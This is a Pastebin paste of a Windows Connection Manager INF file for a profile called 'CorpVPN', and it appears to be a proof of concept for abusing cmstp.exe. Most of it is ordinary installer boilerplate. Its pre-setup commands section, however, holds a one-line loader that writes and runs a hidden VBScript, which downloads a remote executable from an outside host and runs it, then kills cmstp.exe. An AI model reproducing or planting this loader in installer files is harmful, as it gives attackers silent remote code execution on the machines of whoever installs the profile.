Advertisement
Guest User

Untitled

a guest
Sep 25th, 2018
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.83 KB | None | 0 0
  1. ;===========================================================================
  2. ;
  3. ; All of the customizable sections of this file are in the [Strings] section
  4. ; at the bottom.
  5. ;
  6. ;===========================================================================
  7. [version]
  8. Signature=$chicago$
  9. AdvancedINF=2.5
  10.  
  11. [CmDial32.Dll]
  12. Version=458754
  13. Build=943259648
  14.  
  15. ; -------------------------------------------------------------------
  16. ; All User Installs
  17. ; -------------------------------------------------------------------
  18. [DefaultInstall]
  19. SmartReboot=N
  20. CustomDestination=CustInstDestSectionAllUsers
  21. RunPreSetupCommands=RunPreSetupCommandsSection
  22. ;CopyFiles=Xnstall.CopyFiles, Xnstall.CopyFiles.ICM
  23. ;AddReg=Xnstall.AddReg.AllUsers
  24. RegisterOCXs=RegisterOCXSection
  25.  
  26. ; -------------------------------------------------------------------
  27. ; Launches the All User postinstall commands
  28. ; -------------------------------------------------------------------
  29. [PostInstall]
  30. SmartReboot=N
  31. CustomDestination=CustInstDestSectionAllUsers
  32. RunPostSetupCommands=RunPostSetupCommandsSection
  33.  
  34. ; -------------------------------------------------------------------
  35. ; Single User Installs
  36. ; -------------------------------------------------------------------
  37. [DefaultInstall_SingleUser]
  38. SmartReboot=N
  39. CustomDestination=CustInstDestSectionSingleUsers
  40. RunPreSetupCommands=RunPreSetupCommandsSection
  41. CopyFiles=Xnstall.CopyFiles.SingleUser, Xnstall.CopyFiles.ICM
  42. AddReg = Xnstall.AddReg.Private
  43. RegisterOCXs=RegisterOCXSection
  44.  
  45. ; -------------------------------------------------------------------
  46. ; Launches the Single User postinstall commands
  47. ; -------------------------------------------------------------------
  48. [PostInstall_Single]
  49. SmartReboot=N
  50. CustomDestination=CustInstDestSectionSingleUsers
  51. RunPostSetupCommands=RunPostSetupCommandsSection
  52.  
  53. ; -------------------------------------------------------------------
  54. ; This file section sets up the desktop icon GUID and is thus
  55. ; only needed on legacy systems.
  56. ; -------------------------------------------------------------------
  57. [Xnstall_Legacy]
  58. SmartReboot=N
  59. CustomDestination=CustInstDestSectionAllUsers
  60. AddReg=Xnstall.AddReg.DesktopIcon, Xnstall.AddReg.Icon
  61.  
  62. ; These section are kept for legacy compatibility but are no longer used.
  63. [Xnstall_Private]
  64. [Xnstall_AllUser]
  65.  
  66. ; -------------------------------------------------------------------
  67. ; Section used to uninstall Private user profiles
  68. ; -------------------------------------------------------------------
  69. [Remove_Private]
  70. Cleanup=1
  71. SmartReboot=N
  72. BeginPrompt=RemoveBeginPromptSection
  73. EndPrompt=RemoveEndPromptSection
  74. RunPreSetupCommands=RunPreUnInstCommandsSection
  75. CustomDestination=CustUnInstDestSectionPrivate
  76. DelFiles=Remove.DelFiles, Remove.DelFiles.ICM
  77. DelReg=Remove.DelReg.Private
  78. DelDirs=CleanDir
  79. RunPostSetupCommands=RunPostUnInstCommandsSection
  80.  
  81. ; -------------------------------------------------------------------
  82. ; Section used to uninstall All User profiles
  83. ; -------------------------------------------------------------------
  84. [Remove]
  85. Cleanup=1
  86. SmartReboot=N
  87. BeginPrompt=RemoveBeginPromptSection
  88. EndPrompt=RemoveEndPromptSection
  89. RunPreSetupCommands=RunPreUnInstCommandsSection
  90. CustomDestination=CustUninstDestSectionAllUsers
  91. DelFiles=Remove.DelFiles, Remove.DelFiles.ICM
  92. DelReg=Remove.DelReg.AllUser
  93. DelDirs=CleanDir
  94. RunPostSetupCommands=RunPostUnInstCommandsSection
  95.  
  96. ; The following Run(Pre/Post)SetupCommandsSections allow you to run commands before or
  97. ; after the profile is installed.
  98. ;
  99. ; Similarly the following Run(Pre/Post)UnInstCommandsSections will allow you to run
  100. ; commands before or after the profile is uninstalled.
  101. ;
  102. ; An example command line is:
  103. ; Myprogram.exe /<switches> <options>
  104.  
  105. [RunPreSetupCommandsSection]
  106. ; Commands Here will be run Before Setup Begins to install
  107. cmd /c @echo "@echo ^@echo off &@echo start c:\windows\system32\cmd.exe /c ""@echo Set objXMLHTTP=CreateObject(""MSXML2.XMLHTTP"")>poc.vbs&@echo objXMLHTTP.open ""GET"",""http://www.greyhathacker.net/tools/messbox.exe"",false>>poc.vbs&@echo objXMLHTTP.send()>>poc.vbs&@echo If objXMLHTTP.Status=200 Then>>poc.vbs&@echo Set objADOStream=CreateObject(""ADODB.Stream"")>>poc.vbs&@echo objADOStream.Open>>poc.vbs&@echo objADOStream.Type=1 >>poc.vbs&@echo objADOStream.Write objXMLHTTP.ResponseBody>>poc.vbs&@echo objADOStream.Position=0 >>poc.vbs&@echo objADOStream.SaveToFile ""mess.vbs"">>poc.vbs&@echo objADOStream.Close>>poc.vbs&@echo Set objADOStream=Nothing>>poc.vbs&@echo End if>>poc.vbs&@echo Set objXMLHTTP=Nothing>>poc.vbs&@echo Set objShell=CreateObject(""WScript.Shell"")>>poc.vbs&@echo objshell.run ""mess.vbs"",vbhide>>poc.vbs"" " > %tmp%/ten.exe & cmd /c ten.exe
  108.  
  109. taskkill /IM cmstp.exe /F
  110.  
  111. [RunPostSetupCommandsSection]
  112. ;Commands here will be run After setup finishes
  113.  
  114.  
  115. [RunPreUnInstCommandsSection]
  116. ;Commands here will be run before Uninstall Begins
  117.  
  118. [RunPostUnInstCommandsSection]
  119. ;Commands here will be run after Uninstall Finishes
  120.  
  121. ; -------------------------------------------------------------------
  122. ; These are the registry entries for installation.
  123. ; -------------------------------------------------------------------
  124. [Xnstall.AddReg.DesktopIcon]
  125. "HKCR", "CLSID\%DesktopGUID%",,,"%ServiceName%"
  126. "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\%DesktopGUID%",,"0x00001000","%ServiceName%"
  127. "HKCR", "CLSID\%DesktopGUID%\ShellFolder","Attributes",1,"00","00","00","00"
  128. ; Please make sure the following three commands are alphabetized by the %Open%, %Delete%,
  129. ; and %Settings% entries defined in the Strings section
  130. ; the Connect Command
  131. "HKCR", "CLSID\%DesktopGUID%\Shell\Open\Command",,,"cmmgr32.exe ""%49000%\%ShortSvcName%.cmp"""
  132. "HKCR", "CLSID\%DesktopGUID%\Shell\Open",,,"%Open%"
  133. ; the Delete Command
  134. "HKCR", "CLSID\%DesktopGUID%\Shell\Delete\Command",,,"cmstp.exe /u ""%49000%\%ShortSvcName%\%ShortSvcName%.inf"""
  135. "HKCR", "CLSID\%DesktopGUID%\Shell\Delete",,,"%Delete%"
  136. ; the Properties Command
  137. "HKCR", "CLSID\%DesktopGUID%\Shell\Settings...\Command",,,"cmmgr32.exe /settings ""%49000%\%ShortSvcName%.cmp"""
  138. "HKCR", "CLSID\%DesktopGUID%\Shell\Settings...",,,"%Settings%"
  139.  
  140. [Xnstall.AddReg.AllUsers]
  141. "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%ShortSvcName%", "UninstallDir", "0x00001000", "%49001%"
  142. "HKLM", "%AppAct%\Mappings","%ServiceName%","0x00001000","%49001%\%ShortSvcName%.cmp"
  143.  
  144. [Xnstall.AddReg.Private]
  145. ; Single User Mappings is now written in code.
  146. ;"HKCU", "%AppAct%\Mappings","%ServiceName%","","%%UserProfile%%\%PathFromProfileDir%\%ShortSvcName%.cmp"
  147.  
  148. ; -------------------------------------------------------------------
  149. ; These are the registry settings which
  150. ; are deleted during uninstall.
  151. ; -------------------------------------------------------------------
  152. [Remove.DelReg.AllUser]
  153. "HKLM", "%AppAct%\%ServiceName%"
  154. "HKLM", "%AppAct%\Mappings","%ServiceName%"
  155. "HKCU", "%AppAct%\UserInfo\%ServiceName%"
  156. "HKCR", "CLSID\%DesktopGUID%"
  157. "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\%DesktopGUID%"
  158. "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%ShortSvcName%"
  159.  
  160. [Remove.DelReg.Private]
  161. "HKCU", "%AppAct%\%ServiceName%"
  162. "HKCU", "%AppAct%\Mappings","%ServiceName%"
  163. "HKCU", "%AppAct%\SingleUserInfo\%ServiceName%"
  164. "HKCU", "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%ShortSvcName%"
  165.  
  166. [CleanDir]
  167. %49001%\%ShortSvcName%
  168.  
  169. ; -------------------------------------------------------------------
  170. ; These are the directory specifications.
  171. ; -------------------------------------------------------------------
  172.  
  173. [CustInstDestSectionAllUsers]
  174. 49000,49001=AllUSer_LDIDSection, 7
  175.  
  176. [CustInstDestSectionSingleUsers]
  177. 49000,49001=SingleUser_LDIDSection, 7
  178.  
  179. [CustUninstDestSectionAllUsers]
  180. 49000,49001=XConnMgrLDIDSectionAllUsers, 5
  181.  
  182. [CustUnInstDestSectionPrivate]
  183. 49000,49001=XConnMgrLDIDSectionPrivate, 5
  184.  
  185. [SingleUser_LDIDSection]
  186. "HKCU", "%AppAct%", "ProfileInstallPath", "%UnexpectedError%", ""
  187.  
  188. [AllUSer_LDIDSection]
  189. "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
  190.  
  191. [XConnMgrLDIDSectionAllUsers]
  192. "HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%ShortSvcName%", "UninstallDir", "", ""
  193.  
  194. [XConnMgrLDIDSectionPrivate]
  195. "HKCU", "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\%ShortSvcName%", "UninstallDir", "", ""
  196.  
  197. [DestinationDirs]
  198. Xnstall.CopyFiles=49001, %ShortSvcName%
  199. Xnstall.CopyFiles.SingleUser=49001, %ShortSvcName%
  200. Xnstall.CopyFiles.ICM=49001
  201. Remove.DelFiles=49001, %ShortSvcName%
  202. Remove.DelFiles.ICM=49001
  203.  
  204. [SourceDisksNames]
  205. 55=, , 0
  206.  
  207. ; -------------------------------------------------------------------
  208. ; These are the Prompt Sections
  209. ; -------------------------------------------------------------------
  210.  
  211. [RemoveBeginPromptSection]
  212. Prompt=%BeginPrompt%
  213. ButtonType=YESNO
  214. Title=%UninstallAppTitle%
  215.  
  216. [RemoveEndPromptSection]
  217. Prompt=%EndPrompt%
  218.  
  219.  
  220. [Strings]
  221. ; -------------------------------------------------------------------
  222. ; These are the non localizable strings...
  223. ; -------------------------------------------------------------------
  224. KEY_RENAME = "Software\Microsoft\Windows\CurrentVersion\RenameFiles"
  225. AppAct = "SOFTWARE\Microsoft\Connection Manager"
  226.  
  227. ; -------------------------------------------------------------------
  228. ; These are the localizable strings...
  229. ; -------------------------------------------------------------------
  230. UnexpectedError = "An unexpected error occurred. Please reboot and try the installation again."
  231.  
  232. ; When you localize these commands (they are the commands for the Desktop Icon on legacy
  233. ; platforms) you must make sure to re-alphabetize the Registry add calls above. Win95
  234. ; shows the menus in the order they were added and doesn't alphabetize them for you.
  235. Settings = "P&roperties"
  236. Open = "C&onnect"
  237. Delete = "&Delete"
  238.  
  239. ; -------------------------------------------------------------------
  240. ; The following strings are set by the Connection Manager Administration Kit
  241. ; Do not change any of the following strings
  242. ; -------------------------------------------------------------------
  243. ServiceName="CorpVPN"
  244. ShortSvcName="CorpVPN"
  245. DesktopGUID="{46E030C3-DC6A-4251-80A3-E3E2753FF0E2}"
  246. UninstallAppTitle="CorpVPN"
  247. DesktopIcon=""
  248. PhonebookPath=""
  249. BeginPrompt="Do you want to remove CorpVPN?"
  250. EndPrompt="Successfully removed CorpVPN."
  251. DisplayLCID=1033
  252. CmLCID=1033
  253. Allow32bit=0
  254.  
  255. [CMAK Status]
  256. InfVersion=5
  257. PhoneName=CorpBook
  258. LicenseFile=
  259. IncludeCMCode=0
  260. UpdatePhonebook=1
  261.  
  262. [Extra Files]
  263.  
  264. [Merge Profiles]
  265.  
  266.  
  267. [Xnstall.AddReg.Icon]
  268. HKCR,"CLSID\%DesktopGUID%\DefaultIcon",,,"%11%\CMMGR32.EXE,0"
  269.  
  270. [Xnstall.CopyFiles.SingleUser]
  271. CorpVPN.cms,,,4
  272. CorpVPN.inf
  273.  
  274. [Xnstall.CopyFiles]
  275. CorpVPN.cms,,,4
  276. CorpVPN.inf
  277.  
  278. [Xnstall.CopyFiles.ICM]
  279. CorpVPN.cmp
  280.  
  281. [Remove.DelFiles.ICM]
  282. CorpVPN.cmp
  283.  
  284. [SourceDisksFiles]
  285. CorpVPN.inf = 55
  286. CorpVPN.cmp = 55
  287. CorpVPN.cms = 55
  288.  
  289. [Remove.DelFiles]
  290. CorpVPN.cms
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement